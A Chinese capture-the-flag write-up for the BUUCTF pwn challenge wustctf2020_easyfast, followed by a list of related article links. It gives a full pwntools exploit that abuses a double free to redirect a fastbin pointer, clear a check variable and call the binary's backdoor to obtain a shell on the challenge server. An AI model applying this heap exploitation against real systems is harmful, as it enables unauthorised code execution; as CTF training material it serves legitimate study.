打开菜单,了解到相应的功能后,改一下名字




这个漏洞大致利用方式是这样的;

利用思路

通过double free修改chunk0的fd指针,让申请到的chunk能够覆盖到0x602090,修改1为0,最后直接调用backdoor来getshell

from pwn import *#p=process('./wustctf2020_easyfast')p=remote("node3.buuoj.cn",25044)context.log_level="debug"def add(size):p.recvuntil('choice>')p.sendline('1')p.recvuntil('size>')p.sendline(str(size))def delete(index):p.recvuntil('choice>')p.sendline('2')p.recvuntil('index>')p.sendline(str(index))def edit(idx,content):p.sendlineafter('choice>','3')p.sendlineafter('index>',str(idx))p.send(content)def backdoor():p.sendlineafter('choice>','4')
add(0x40)#0
add(0x40)#1
delete(0)
edit(0,p64(0x602080))
add(0x40)#0
add(0x40)#3
edit(3,p64(0))
backdoor()
#gdb.attach(p)
p.interactive()

[BUUCTF]pwn - wustctf2020_easyfast (Use After Free)相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. 你永远不知道女生裙子下面藏着什么
  2. 消息队列---消息模型及使用场景
  3. html添加子节点方法,HTML DOM appendChild() 方法
  4. WindowsXP、Windows2003本地密码清除方法
  5. python帮助文档中文版下载-Python中文文档
  6. ssm网上球鞋商城(电子商务系统)ssm购物系统,ssm电子产品销售ssm鞋店销售购物ssm商城源码JSP购物系统
  7. turnserver.conf文件详解
  8. 插件搜索我的第一个chrome插件
  9. Vscode python Code Runner中文乱码
  10. Qt多线程之QtConcurrent
  11. 关于Windows api 多屏幕显示器识别ID问题。未解决
  12. 计算机网络 如何算 子网号,已知Ip地址子网掩码如何计算子网号、主机号.doc
  13. 在别人的句子里出现曙光
  14. 计算机毕业设计之java+javaweb的电动车实名制挂牌管理系统
  15. android 一键连接wifi,还在一键连WiFi?快试试更智能的WLAN+
  16. sql server中datename函数的使用
  17. RabbitMQ:使用Docker构建RabbitMQ高可用负载均衡集群
  18. 网站压力测试工具was
  19. 搜狗微信APP逆向(二)so层
  20. 【随堂笔记】数据结构基础

热门文章

  1. vue中 this.$set的用法
  2. new操作符到底干了什么?
  3. 区块链培训资料(特别是以太坊)
  4. mongodb 监控项详解(mms)
  5. getDimension等区别
  6. scanf———while(scanf (%lu,num) = =1)什么意思
  7. Git workflow
  8. bash和sed简要介绍和相关范例
  9. 一篇文章搞定各种售后问题,电商客服运营看过来
  10. win10北通手柄没反应_《动物森友会》怎么玩出新花样?北通宙斯游戏手柄宏玩法了解下...